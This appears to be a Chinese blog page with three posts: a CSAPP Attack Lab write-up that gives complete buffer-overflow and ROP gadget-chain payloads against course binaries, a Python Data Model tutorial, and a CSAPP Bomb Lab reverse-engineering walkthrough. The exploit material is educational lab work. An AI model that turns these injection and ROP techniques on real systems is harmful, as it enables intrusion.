  if (hexmatch(cookie, sval)) {
    printf("Touch3!: You called You called touch3(\"%s\")\n", sval)
    validate(3);
  } else {
    printf("Misfire: You called touch3(\"%s\")\n", sval);
    fail(3);
  }
  exit(0);
}

我们需要在引爆字符串中包含自己 cookie 的字符串表示，这个字符串应该是 8 个 16 进制数字，并以 0 为结尾。这个字符串的地址应该被保存在 %rdi 中。当函数 hexmatch 和 strncmp 被调用的时候，他们会把参数保存到栈上，这会覆盖 getbuf 写入的部分内容。所以，我们需要小心引爆字符串的存放位置。

首先将我的 cookie 转换为字符串形式：

1	0x59b997fa -> 35 39 62 39 39 37 66 61 00

为了测试 hexmatch 的行为，我们对上一节的字节码稍作修改，将我的 cookie 的字符串表示存储在缓冲区内，并使程序跳转到 touch3，构造字节码如下：

48 c7 c7 b8 
dc 61 55 68 
fa 18 40 00 
c3 00 00 00 
35 39 62 39 
39 37 66 61 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
78 dc 61 55

跳转到 touch3 后，我们可以找到调用 hexmatch 的位置，于是可以分别在前后两行设置断点，并观察缓冲区的变化：

00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx
  4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
  401905:	00 00 00 
  401908:	48 89 fe             	mov    %rdi,%rsi
  40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
  401911:	e8 36 ff ff ff       	callq  40184c <hexmatch>
  401916:	85 c0                	test   %eax,%eax

在调用 hexmatch 之前，我们可以看到缓冲区的信息如下：

在调用 hexmatch 之后，我们可以看到缓冲区信息为：

可以看到，缓冲区前三行的内容全部为打乱了，我们保存的字符串信息也被完全破坏了。所以，我们需要为字符串寻找一个新的存放位置。

看到最后一行，0x5561dcb8 之后的位置没有被使用，而且刚好可以存放我们的字符串，所以，抱着试一试的态度，我将字符串目标地址设置为 0x5561dcb8，并将 cookie 的字符串信息保存到相应位置。

汇编代码为：

1
2
3

mov $0x5561dcb8,%rdi
pushq $0x4018fa
ret

构造字符串为：

48 c7 c7 b8 
dc 61 55 68 
fa 18 40 00 
c3 00 00 00 
35 39 62 39 
39 37 66 61 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
78 dc 61 55
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
35 39 62 39
39 37 66 61
00 00 00 00

运行程序：

成功！

第四阶段

从第四阶段开始，我们要对 rtarget 进行缓冲区攻击。但是攻击 rtarget 要更加困难，因为它采用了两种方法来防止缓冲区攻击：

栈的内容是随机的，每次运行时，栈中内容的地址都不一样。所以我们无法决定应该跳转的地址。
栈中代码是不可以执行的，所以即使我们可以跳转到注入代码，程序也会遇到段错误。

幸运的是，我们可以通过执行已有的代码来达到我们的目的，而不是注入新的代码，这种方法被称为 return-oriented-programming（ROP）。ROP 的策略是在程序中找到指定的字节序列，这些字节序列包含某些指令并以ret结尾。这样的一个字节序列被称为一个 gadget。

由上图可以看出，栈可以用来设置跳转到 n 个 gadget*，并执行其中的代码。使用这种方式，利用 ret 指令，我们可以运行一连串的 *gadget 并执行其中的代码。

例如下面的代码：

1
2
3

void setval_210(unsigned *p) {
    *p = 3347663060U;
}

它对应的汇编代码为：

1
2
3

0000000000400f15 <setval_210>:
  400f15:       c7 07 d4 48 89 c7       movl   $0xc78948d4,(%rdi)
  400f1b:       c3                      retq

字节序列 48 89 c7 编码了指令 movq %rax, %rdi，这个字节序列后面跟着 c3，也就是 ret 指令，它可以让我们跳入下一个 gadget。那么我们就可以利用字节序列的开始地址 0x400f19 还使用指令。

指令的16进制编码可以在下表中查看：

另外两个指令是：

ret：字节编码为 0xc3
nop：让程序计数器加一，什么都不做，字节编码为0x90

在终端运行命令 objdump -d rtarget > rtarget.txt，以寻找目标代码。
现在我们要重复第二阶段的任务：将自己的 cookie 作为参数传入 touch2。我们需要做三步：

将 cookie 传入%rdi中
将 touch2 地址放入栈中
执行 touch2

为了将 cookie 存入 %rdi，最简单的想法是先将 cookie 存入栈中，再从栈中弹出。但是找不到 popq %rdi，只找到了 popq %rax，代码地址为：

1
2
3

00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq

所以我们的第一个 gadget 的地址为 0x4019ab。

后面的动作可以用下面的汇编代码完成：

1
2
3

popq %rax
movq %rax %edi
ret

其中 movq %rax %edi 的字节码为：48 89 c7 c3。我们可以在下面的代码中找到：

1
2
3

00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      retq

所以我们第二个 gadget 的地址为 0x4019c5。

所以我们要构造的文件应该包含三部分，首先是40字节的缓冲区，然后是 gadget1 的地址，cookie，gadget2 的地址，最后是 touch2 的地址。构造 rtarget4.txt 如下：

cc cc cc cc cc cc cc cc cc cc                                                                                           
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00  
c5 19 40 00 00 00 00 00  
ec 17 40 00 00 00 00 00

我们先生成它的二进制码：.\hex2raw < rtarget4.txt > rtarget4_r.txt。
然后执行 .\rtarget -i rtarget4_r.txt -q，得到：

成功。

第五阶段

阶段五的目标和阶段三一样，首先使用 cookie 构造字符串，然后将字符串作为参数传入 touch3。

首先，我们把 cookie 转换成 ascii 码：

1	0x59b997fa -> 35 39 62 39 39 37 66 61 00

我们接下来的思路为：

获得 %rsp 的地址
将（栈的起始地址）+（cookie 的偏移量）放入某个寄存器中
将寄存器的值放入 %rdi 中
调用 touch3

首先，寻找 movq %rsp, %rax, 48 89 e0。

我们可以找到如下代码片段：

1
2
3

0000000000401aab <setval_350>:
  401aab:   c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
  401ab1:   c3                      retq

所以 gadget1 的地址为 0x401aad。

接下来，我们需要递增 %rax 的地址，我们可以找到：

1
2
3

00000000004019d6 <add_xy>:
  4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  4019da:   c3                      retq

得 gadget2 的地址为：0x4019d8。

接下来要将 %rax 的内容移动到 %rdi 中，找到 mov %rax, %rdi, 48 89 c7 的代码片段：

1
2
3

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq

得到 gadget3 的地址为：0x4019a2。

最后，攻击文件应该包括：填充区1，gadget1，gadget2，gadget3，touch3的地址，填充区2，cookie。第二个填充区的大小为55(0x37) - 3 * 8 = 31字节。rtarget5.txt 的内容为：

cc cc cc cc cc cc cc cc cc cc                                                                                           
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
ad 1a 40 00 00 00 00 00
d8 19 40 00 00 00 00 00  
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd
35 39 62 39 39 37 66 61 00

我们先生成它的二进制码：.\hex2raw < rtarget5.txt > rtarget5_r.txt。
然后执行 .\rtarget -i rtarget5_r.txt -q，得到：

成功。

总结

这次实验真的加深了我对内存和缓冲区的理解。以前上专业课，所有的知识都停留在书本上，没有做到学以致用。而这次实验，通过汇编、反汇编的、拼凑内存内容的方式直接和操作系统底层打交道，真的很有趣，但是也很要求精确。

现在看看，我们平时用高级语言写与系统无关的代码是一件多么幸福的事情啊。

我觉得学习操作系统，阅读 CSAPP，就是让我能够站在系统工作原理的粒度上理解代码，理解 C 语言和汇编，这种思考方式和视角才是阅读 CSAPP 和完成这些实验之后，我获得的最大的收获。

Python 中的 Data Model

发表于 2017-05-31 更新于 2021-03-03 分类于编程语言 Disqus：

什么是 Data Model

Data Model 简单来说就是对 Python 语言的基本结构的描述。如果将 Python 本身看做一个 Framework，Data Model 就定义了和 Python 的交互方式。

对象（Object）是 Python 对数据的抽象方式，Python 将所有数据都抽象为对象以及对象见的关系。每一个对象都由三部分构成：id、type 和 value。一个对象在被创建后，它的 id 就不会在改变了，我们可以将它当做对象在内存中的地址。is 操作符可以比较两个对象的是否有相同的 id，id() 函数将返回对象地址的整数表示。

对象的 type 决定了对象支持哪些操作，以及该类型对象可能持有的值。type() 函数返回一个对象的类型，和 id 一样，一个对象的类型是不可改变的。

如果一个对象的 value 是可变的，那么这个对象就是可变的（mutable）；如果对象的 value 是不可变的，那么这个对象也就是不可变的（immutable）。如果一个不可变的容器对象包含了可变对象的引用，那么虽然引用所指向的对象可以被改变，但是该容器仍然被认为是不可变的，因为它包含的引用并没有改变。一个对象的可变性（mutability）由该对象的 type 决定。比如，数字，字符串和 tuple 都是不可变对象，而字典和集合是可变对象。

Python 是一种公认的易用的语言，我们可以很容易的考猜测或者直觉来正确使用它的功能。但是在刚开始使用 Python 的时候，我们可能会奇怪，为什么我们要使用 len(array) 而不是 array.len() 来得到一个数组的长度呢？这里的原因就在于 Python 的 Data Model。Data Model 描述了我们与 Python 的交互方式，它通过特殊的语法来调用定义在对象上的魔法方法（Magic Method）。魔法方法通常在方法名的首位都添加 __，例如 __getitem__。当我们通过下标来访问对象时，obj[key]，解析器实际上回去调用 obj.__getitem__(key)。我们通过重定义对象中的魔法方法来与 Python 中的基础设施（Iteration Collection，etc）交互。

Pythonic Card Deck

下面，我们通过一个简单的例子来演示实现 __getitem__ 和 __len__ 之后类的功能。

import collections

Card = collections.namedtuple("Card", ["rank", "suit"])

class FrenchDeck:
    ranks = [str(n) for n in range(2, 11)] + list("JQKA")
    suits = "spades diamonds clubs hearts".split()

    def __init__(self):
        self._cards = [Card(rank, suit) for suit in self.suits
                                        for rank in self.ranks]

    def __len__(self):
        return len(self._cards)

    def __getitem__(self, position):
        return self._cards[position]

上面的代码中我们使用 namedtuple 在表示一张牌，用 FrenchDeck 类来代表一副牌。我们可以将它的实例传入 len() 在得到一共有多少张牌：

1
2
3

>>> deck = FrenchDeck()
>>> len(deck)
52

我们也可以直接通过下标来访问某一张牌，使用通过实现 __getitem__ 来使类拥有的能力：

>>> deck[0]
Card(rank='2', suit='spades')
>>> deck[-1]
Card(rank='A', suit='hearts')

因为我们在 __getitem__ 中使用了 self._card 的 [] 操作，所以，我们的类也可以直接获得切片的功能：

>>> deck[:3]
[Card(rank='2', suit='spades'), Card(rank='3', suit='spades'), Card(rank='4', suit='spades')]
>>> deck[12::13]
[Card(rank='A', suit='spades'), Card(rank='A', suit='diamonds'), Card(rank='A', suit='clubs'), Card(rank='A', suit='hearts')]

在实现了 __getitem__ 之后，我们的类也是可遍历的（iterable）：

>>> for card in deck:
...     print(card)
...
Card(rank='2', suit='spades')
Card(rank='3', suit='spades')
Card(rank='4', suit='spades')
...

遍历也可以是隐式的，如果一个集合没有实现 __contains__ 方法，in 操作就是做顺序扫描：

>>> Card('Q', "hearts") in deck
True
>>> Card('7', "beats") in deck
False

我们可以与标准库交互来随机选择一张牌，random.choice可以从一个序列中随机选择一个元素：

from random import choice
>>> choice(deck)
Card(rank='K', suit='hearts')
>>> choice(deck)
Card(rank='J', suit='spades')

通过上面的例子我们可以看到，实现魔法方法有两个好处：

类的用户不需要去记忆标准操作的方法名。比如，要得到序列中元素的个数，可直接使用 len(s)，而不需要记忆应该使用 .size() 还是 .length()。
可以更容易地与 Python 标准库协作，从而避免重新发明轮子。

通过实现魔法方法，我们的类的行为很像一个标准的 Python 序列，可以使我们的类获得与语言核心交互的能力（如：迭代和切片）。

魔法方法的工作方式

通常，魔法方法是由解析器来调用的而不是用户，除非用户在做元编程（meta programming）。但是对于內建的类型如 list，str，bytearray 等，解析器并不会去数元素的个数。在 CPython 的实现中，len() 会之间返回 C 语言结构体 PyVarObject 中 ob_size 的值，这个值代表了内存中对象的大小。

魔法方法的被调用过程是隐式的。例如，当我们使用 for i in x 时，会导致调用 iter(x)，再调用 x.__iter__()。用户唯一可能会需要经常直接调用的魔法方法是 __init__，在作为类的初始化方法。

如果要实现一个魔法方法，通常通过调用內建的方法来实现是更好的选择，应为內建方法可以提供额外的功能而且速度往往更快。

总结

Data Model 是对 Python 语言的基本结构的描述，定义了內建或自定义类型与语言的交互方式。我们可以通过实现魔法方法来充分利用 Python 提供的功能，构建强大的类型。

完整的魔法方法列表见：Data Model

【深入理解计算机系统实验笔记】| Bomb Lab

发表于 2017-04-17 更新于 2021-03-03 分类于计算机科学 Disqus：

我阅读 CSAPP 的速度非常慢，因为希望自己能够真正「深入理解」操作系统。这周末，我终于磕磕绊绊地完成了 Bomb Lab，实验过程中主要涉及到阅读汇编代码和 GDB 调试器的使用，还有就是需要一点耐心去分析汇编。

实验目标

Bomb Lab 的实验目标主要是要求对一个二进制文件进行逆向工程。这个二进制文件名叫 bomb，要求你输入七个密码，如果输入不符合要求的话，「炸弹」就会被引爆。所以目标就是要求通过分析二进制文件的汇编代码来得到这七个密码。

对获得 bomb 的汇编表示，我们需要使用 objdump 工具执行一条简单的命令：

1	objdump -d bomb > bomb.s

点开 bomb.s 乍一看会被吓到，什么鬼！但仔细分析会发现一些线索，比如程序的起点main函数：

1	0000000000400da0 <main>:

分析 main 的内容我们可以敏锐地发现「拆弹」密码对应的函数：

400e32:	e8 67 06 00 00       	callq  40149e <read_line>
  400e37:	48 89 c7             	mov    %rax,%rdi
  400e3a:	e8 a1 00 00 00       	callq  400ee0 <phase_1>
  400e3f:	e8 80 07 00 00       	callq  4015c4 <phase_defused>
  400e44:	bf a8 23 40 00       	mov    $0x4023a8,%edi
  400e49:	e8 c2 fc ff ff       	callq  400b10 <puts@plt>
  400e4e:	e8 4b 06 00 00       	callq  40149e <read_line>
  400e53:	48 89 c7             	mov    %rax,%rdi
  400e56:	e8 a1 00 00 00       	callq  400efc <phase_2>
  400e5b:	e8 64 07 00 00       	callq  4015c4 <phase_defused>
  400e60:	bf ed 22 40 00       	mov    $0x4022ed,%edi
  400e65:	e8 a6 fc ff ff       	callq  400b10 <puts@plt>
  400e6a:	e8 2f 06 00 00       	callq  40149e <read_line>
  400e6f:	48 89 c7             	mov    %rax,%rdi
  400e72:	e8 cc 00 00 00       	callq  400f43 <phase_3>
  400e77:	e8 48 07 00 00       	callq  4015c4 <phase_defused>
  400e7c:	bf 0b 23 40 00       	mov    $0x40230b,%edi
  400e81:	e8 8a fc ff ff       	callq  400b10 <puts@plt>
  400e86:	e8 13 06 00 00       	callq  40149e <read_line>
  400e8b:	48 89 c7             	mov    %rax,%rdi
  400e8e:	e8 79 01 00 00       	callq  40100c <phase_4>
  400e93:	e8 2c 07 00 00       	callq  4015c4 <phase_defused>
  400e98:	bf d8 23 40 00       	mov    $0x4023d8,%edi
  400e9d:	e8 6e fc ff ff       	callq  400b10 <puts@plt>
  400ea2:	e8 f7 05 00 00       	callq  40149e <read_line>
  400ea7:	48 89 c7             	mov    %rax,%rdi
  400eaa:	e8 b3 01 00 00       	callq  401062 <phase_5>
  400eaf:	e8 10 07 00 00       	callq  4015c4 <phase_defused>
  400eb4:	bf 1a 23 40 00       	mov    $0x40231a,%edi
  400eb9:	e8 52 fc ff ff       	callq  400b10 <puts@plt>
  400ebe:	e8 db 05 00 00       	callq  40149e <read_line>
  400ec3:	48 89 c7             	mov    %rax,%rdi
  400ec6:	e8 29 02 00 00       	callq  4010f4 <phase_6>
  400ecb:	e8 f4 06 00 00       	callq  4015c4 <phase_defused>
  400ed0:	b8 00 00 00 00       	mov    $0x0,%eax
  400ed5:	5b                   	pop    %rbx

6 个密码分别对应了 phase_1 到 phase_6，这样，我们的目标就可以具体到分析这些函数。

关卡 1

phase_1 的汇编代码很简单：

0000000000400ee0 <phase_1>:
  400ee0:	48 83 ec 08          	sub    $0x8,%rsp
  400ee4:	be 00 24 40 00       	mov    $0x402400,%esi
  400ee9:	e8 4a 04 00 00       	callq  401338 <strings_not_equal>
  400eee:	85 c0                	test   %eax,%eax
  400ef0:	74 05                	je     400ef7 <phase_1+0x17>
  400ef2:	e8 43 05 00 00       	callq  40143a <explode_bomb>
  400ef7:	48 83 c4 08          	add    $0x8,%rsp
  400efb:	c3                   	retq

这段函数的功能很直接：将读入的字符串和「密码」比较，如果两个字符串不相同，那么就引爆。比较字符串是否相等，也可以从调用 strings_not_equal 看出来。在汇编中使用了一个神奇的地址mov $0x402400,%esi，所以我们使用 GDB 查看这个地址中的内容。

再次运行程序，并且输入密码试试看：

成功！

关卡 2

phase_2 的汇编代码比前一个稍长：

0000000000400efc <phase_2>:
  400efc:	55                   	push   %rbp
  400efd:	53                   	push   %rbx
  400efe:	48 83 ec 28          	sub    $0x28,%rsp
  400f02:	48 89 e6             	mov    %rsp,%rsi
  400f05:	e8 52 05 00 00       	callq  40145c <read_six_numbers>
  400f0a:	83 3c 24 01          	cmpl   $0x1,(%rsp)
  400f0e:	74 20                	je     400f30 <phase_2+0x34>
  400f10:	e8 25 05 00 00       	callq  40143a <explode_bomb>
  400f15:	eb 19                	jmp    400f30 <phase_2+0x34>
  400f17:	8b 43 fc             	mov    -0x4(%rbx),%eax
  400f1a:	01 c0                	add    %eax,%eax
  400f1c:	39 03                	cmp    %eax,(%rbx)
  400f1e:	74 05                	je     400f25 <phase_2+0x29>
  400f20:	e8 15 05 00 00       	callq  40143a <explode_bomb>
  400f25:	48 83 c3 04          	add    $0x4,%rbx
  400f29:	48 39 eb             	cmp    %rbp,%rbx
  400f2c:	75 e9                	jne    400f17 <phase_2+0x1b>
  400f2e:	eb 0c                	jmp    400f3c <phase_2+0x40>
  400f30:	48 8d 5c 24 04       	lea    0x4(%rsp),%rbx
  400f35:	48 8d 6c 24 18       	lea    0x18(%rsp),%rbp
  400f3a:	eb db                	jmp    400f17 <phase_2+0x1b>
  400f3c:	48 83 c4 28          	add    $0x28,%rsp
  400f40:	5b                   	pop    %rbx
  400f41:	5d                   	pop    %rbp
  400f42:	c3                   	retq

其中 callq 40145c <read_six_numbers> 表明函数要求用户读入六个数字，并存放在栈中。下几行很关键：

1
2
3

400f0a:	83 3c 24 01          	cmpl   $0x1,(%rsp)
400f0e:	74 20                	je     400f30 <phase_2+0x34>
400f10:	e8 25 05 00 00       	callq  40143a <explode_bomb>

在读取 6 个数字之后，会拿第一个数字和 1 进行比较，如果不相等，那么就引爆炸弹，所以我们可以确定第一个数字一定是 1。

下面几行在一个循环中被执行，意思是从栈中某位置取出一个数，和自身相加，并判断是否和下一个数字相等，也就是相当于判断 s[i] + s[i] == s[i + 1]：

400f17:	8b 43 fc             	mov    -0x4(%rbx),%eax
400f1a:	01 c0                	add    %eax,%eax
400f1c:	39 03                	cmp    %eax,(%rbx)
400f1e:	74 05                	je     400f25 <phase_2+0x29>
400f20:	e8 15 05 00 00       	callq  40143a <explode_bomb>

现在我们就可以知道这 6 个数字从 1 开始，下一个是前一个的两倍：1， 2， 4， 8， 16， 32。我们输入试试：

关卡 3

phase_3 的开头表示我们调用了 sscanf 函数解析输入，如果输入参数的个数小于 1则引爆。

0000000000400f43 <phase_3>:
  400f43:	48 83 ec 18          	sub    $0x18,%rsp
  400f47:	48 8d 4c 24 0c       	lea    0xc(%rsp),%rcx
  400f4c:	48 8d 54 24 08       	lea    0x8(%rsp),%rdx
  400f51:	be cf 25 40 00       	mov    $0x4025cf,%esi
  400f56:	b8 00 00 00 00       	mov    $0x0,%eax
  400f5b:	e8 90 fc ff ff       	callq  400bf0 <__isoc99_sscanf@plt>
  400f60:	83 f8 01             	cmp    $0x1,%eax
  400f63:	7f 05                	jg     400f6a <phase_3+0x27>
  400f65:	e8 d0 04 00 00       	callq  40143a <explode_bomb>

那么我们应该输入什么呢？注意到解析输入之前，用到了一个地址 0x4025cf，我们查看他的内容：

所以我们输入的应该是两个整数。

下面两行表示我们输入的第一个数不可以大于 7，否则会跳转到引爆点：

1 2	400f6a: 83 7c 24 08 07 cmpl $0x7,0x8(%rsp) 400f6f: 77 3c ja 400fad <phase_3+0x6a>

接下来是一连串的跳转，根据我们输入的第一个值决定跳转位置：

400f71:	8b 44 24 08          	mov    0x8(%rsp),%eax
400f75:	ff 24 c5 70 24 40 00 	jmpq   *0x402470(,%rax,8)
400f7c:	b8 cf 00 00 00       	mov    $0xcf,%eax
400f81:	eb 3b                	jmp    400fbe <phase_3+0x7b>
400f83:	b8 c3 02 00 00       	mov    $0x2c3,%eax
400f88:	eb 34                	jmp    400fbe <phase_3+0x7b>
400f8a:	b8 00 01 00 00       	mov    $0x100,%eax
400f8f:	eb 2d                	jmp    400fbe <phase_3+0x7b>
400f91:	b8 85 01 00 00       	mov    $0x185,%eax
400f96:	eb 26                	jmp    400fbe <phase_3+0x7b>
400f98:	b8 ce 00 00 00       	mov    $0xce,%eax
400f9d:	eb 1f                	jmp    400fbe <phase_3+0x7b>
400f9f:	b8 aa 02 00 00       	mov    $0x2aa,%eax
400fa4:	eb 18                	jmp    400fbe <phase_3+0x7b>
400fa6:	b8 47 01 00 00       	mov    $0x147,%eax
400fab:	eb 11                	jmp    400fbe <phase_3+0x7b>
400fad:	e8 88 04 00 00       	callq  40143a <explode_bomb>
400fb2:	b8 00 00 00 00       	mov    $0x0,%eax
400fb7:	eb 05                	jmp    400fbe <phase_3+0x7b>
400fb9:	b8 37 01 00 00       	mov    $0x137,%eax
400fbe:	3b 44 24 0c          	cmp    0xc(%rsp),%eax
400fc2:	74 05                	je     400fc9 <phase_3+0x86>

这上面这段代码里，根据第一个值决定跳转位置的代码非常明显：jmpq *0x402470(,%rax,8)。我们可以使用 GDB 在查看跳转表的内容：

这样我们就得到了跳转表：

值	目标值
0	207
1	311
2	707
3	256
4	389
5	206
6	682
7	327

也就是所，上表中的任意一对值都可以接触炸弹。

关卡 4

关卡 4 开头的套路和关卡 3 一样，首先调用 sscanf 读入值，如果参数个数不为 2，则引爆。

40100c:	48 83 ec 18          	sub    $0x18,%rsp
401010:	48 8d 4c 24 0c       	lea    0xc(%rsp),%rcx
401015:	48 8d 54 24 08       	lea    0x8(%rsp),%rdx
40101a:	be cf 25 40 00       	mov    $0x4025cf,%esi
40101f:	b8 00 00 00 00       	mov    $0x0,%eax
401024:	e8 c7 fb ff ff       	callq  400bf0 <__isoc99_sscanf@plt>
401029:	83 f8 02             	cmp    $0x2,%eax
40102c:	75 07                	jne    401035 <phase_4+0x29>

我们查看在 0x4025cf 保存的输入格式要求：

可以看到我们需要输入两个整数。

接下来要求第一个参数小于 14，第二个参数是0，并把14、x、0作为参数传入 fun4，要求 fun4 返回0在经过仔细推导之后，我发现，当答案为 7、0时，可以成功返回 0。

关卡 5

关卡 5 要求我们输入一个长度为 6 的字符串，否则就引爆。

0000000000401062 <phase_5>:
  401062:	53                   	push   %rbx
  401063:	48 83 ec 20          	sub    $0x20,%rsp
  401067:	48 89 fb             	mov    %rdi,%rbx
  40106a:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
  401071:	00 00 
  401073:	48 89 44 24 18       	mov    %rax,0x18(%rsp)
  401078:	31 c0                	xor    %eax,%eax
  40107a:	e8 9c 02 00 00       	callq  40131b <string_length>
  40107f:	83 f8 06             	cmp    $0x6,%eax
  401082:	74 4e                	je     4010d2 <phase_5+0x70>
  401084:	e8 b1 03 00 00       	callq  40143a <explode_bomb>

接下来代码每次从字符串中取出一个字符，并做变换：

40108b:	0f b6 0c 03          	movzbl (%rbx,%rax,1),%ecx
40108f:	88 0c 24             	mov    %cl,(%rsp)
401092:	48 8b 14 24          	mov    (%rsp),%rdx
401096:	83 e2 0f             	and    $0xf,%edx
401099:	0f b6 92 b0 24 40 00 	movzbl 0x4024b0(%rdx),%edx
4010a0:	88 54 04 10          	mov    %dl,0x10(%rsp,%rax,1)
4010a4:	48 83 c0 01          	add    $0x1,%rax
4010a8:	48 83 f8 06          	cmp    $0x6,%rax
4010ac:	75 dd                	jne    40108b <phase_5+0x29>
4010ae:	c6 44 24 16 00       	movb   $0x0,0x16(%rsp)

可惜我们不知道变换方法是什么，但是代码中有一个突兀的地址，我们打印地址中的内容：

里面开头是一段奇怪的字符：”maduiersnfotvbyl”

然后，将变换后的字符串和存储在 0x40245e 的字符串作比较，判断是否相当，如果相等，最解除成功。所以我们查看目标字符串：

在有了目标字符串后，我们现在知道了上述的字符串可以看做是一张查找表，可以得到对应关系：

0123456789abcdef
maduiersnfotvbyl

所以，我们要得到 “flyers”，就应该输入“9 f e 5 6 7”，将数字对应到 ASCII 码中的字符，可以得到“INOEFG”。

关卡 6

关卡 6 需要仔细分析，我使用了 GDB 单步运行的方法来分析了运行过程。首先，函数要求读入 6 个数，并确认个数是否为 6。

00000000004010f4 <phase_6>:
  4010f4:	41 56                	push   %r14
  4010f6:	41 55                	push   %r13
  4010f8:	41 54                	push   %r12
  4010fa:	55                   	push   %rbp
  4010fb:	53                   	push   %rbx
  4010fc:	48 83 ec 50          	sub    $0x50,%rsp
  401100:	49 89 e5             	mov    %rsp,%r13
  401103:	48 89 e6             	mov    %rsp,%rsi
  401106:	e8 51 03 00 00       	callq  40145c <read_six_numbers>
  40110b:	49 89 e6             	mov    %rsp,%r14
  40110e:	41 bc 00 00 00 00    	mov    $0x0,%r12d
  401114:	4c 89 ed             	mov    %r13,%rbp
  401117:	41 8b 45 00          	mov    0x0(%r13),%eax
  40111b:	83 e8 01             	sub    $0x1,%eax
  40111e:	83 f8 05             	cmp    $0x5,%eax
  401121:	76 05                	jbe    401128 <phase_6+0x34>
  401123:	e8 12 03 00 00       	callq  40143a <explode_bomb>

然后，通过双重循环，判断 6 个数之间不存在重复。

401138:	8b 04 84             	mov    (%rsp,%rax,4),%eax
40113b:	39 45 00             	cmp    %eax,0x0(%rbp)
40113e:	75 05                	jne    401145 <phase_6+0x51>
401140:	e8 f5 02 00 00       	callq  40143a <explode_bomb>
401145:	83 c3 01             	add    $0x1,%ebx
401148:	83 fb 05             	cmp    $0x5,%ebx
40114b:	7e e8                	jle    401135 <phase_6+0x41>
40114d:	49 83 c5 04          	add    $0x4,%r13
401151:	eb c1                	jmp    401114 <phase_6+0x20>
401153:	48 8d 74 24 18       	lea    0x18(%rsp),%rsi
401158:	4c 89 f0             	mov    %r14,%rax
40115b:	b9 07 00 00 00       	mov    $0x7,%ecx
401160:	89 ca                	mov    %ecx,%edx
401162:	2b 10                	sub    (%rax),%edx
401164:	89 10                	mov    %edx,(%rax)
401166:	48 83 c0 04          	add    $0x4,%rax
40116a:	48 39 f0             	cmp    %rsi,%rax
40116d:	75 f1                	jne    401160 <phase_6+0x6c>
40116f:	be 00 00 00 00       	mov    $0x0,%esi
401174:	eb 21                	jmp    401197 <phase_6+0xa3>
401176:	48 8b 52 08          	mov    0x8(%rdx),%rdx
40117a:	83 c0 01             	add    $0x1,%eax
40117d:	39 c8                	cmp    %ecx,%eax
40117f:	75 f5                	jne    401176 <phase_6+0x82>

这里有一个要细节，就是这段代码保存了和 7 的差：

1
2
3

401158:	4c 89 f0             	mov    %r14,%rax
40115b:	b9 07 00 00 00       	mov    $0x7,%ecx
401160:	89 ca                	mov    %ecx,%edx

接下来的代码中，有一个奇怪的地址，我们打印它的内容：

通过分析这个结构，我们可以看到它是一个链表，定义类似于:

struct Node {
	int value;
	int index;
	struct node *next;
}

接下来，代码要求由大到小获取链表中的值：

所以我们打印链表的节点值：

从大到小排列他们的索引分别是：3 4 5 6 1 2，考虑被 7 减的操作，所以答案是：4 3 2 1 6 5

隐藏关卡

隐藏关卡的入口在 phase_defused 中，所以，我们在函数入口设置断点，研究怎样才能进入secret_phase。phase_defused 的开头统计了我们目前输入了多少个答案，如果不为 6，那么你永远都无法触发隐藏关卡。

00000000004015c4 <phase_defused>:
  4015c4:	48 83 ec 78          	sub    $0x78,%rsp
  4015c8:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
  4015cf:	00 00 
  4015d1:	48 89 44 24 68       	mov    %rax,0x68(%rsp)
  4015d6:	31 c0                	xor    %eax,%eax
  4015d8:	83 3d 81 21 20 00 06 	cmpl   $0x6,0x202181(%rip)        # 603760 <num_input_strings>
  4015df:	75 5e                	jne    40163f <phase_defused+0x7b>

接下来，我们分析触发 secret_phase 的代码：

4015e1:	4c 8d 44 24 10       	lea    0x10(%rsp),%r8
4015e6:	48 8d 4c 24 0c       	lea    0xc(%rsp),%rcx
4015eb:	48 8d 54 24 08       	lea    0x8(%rsp),%rdx
4015f0:	be 19 26 40 00       	mov    $0x402619,%esi
4015f5:	bf 70 38 60 00       	mov    $0x603870,%edi
4015fa:	e8 f1 f5 ff ff       	callq  400bf0 <__isoc99_sscanf@plt>
4015ff:	83 f8 03             	cmp    $0x3,%eax
401602:	75 31                	jne    401635 <phase_defused+0x71>
401604:	be 22 26 40 00       	mov    $0x402622,%esi
401609:	48 8d 7c 24 10       	lea    0x10(%rsp),%rdi
40160e:	e8 25 fd ff ff       	callq  401338 <strings_not_equal>
401613:	85 c0                	test   %eax,%eax
401615:	75 1e                	jne    401635 <phase_defused+0x71>
401617:	bf f8 24 40 00       	mov    $0x4024f8,%edi
40161c:	e8 ef f4 ff ff       	callq  400b10 <puts@plt>
401621:	bf 20 25 40 00       	mov    $0x402520,%edi
401626:	e8 e5 f4 ff ff       	callq  400b10 <puts@plt>
40162b:	b8 00 00 00 00       	mov    $0x0,%eax
401630:	e8 0d fc ff ff       	callq  401242 <secret_phase>

首先程序将三个值保存在寄存器，我们查看它们的内容：

分别是7、4、3。

下面是两个特殊的地址，并且将地址指向的值作为了 sscanf 的参数。我们打印这两个特殊地址的值：

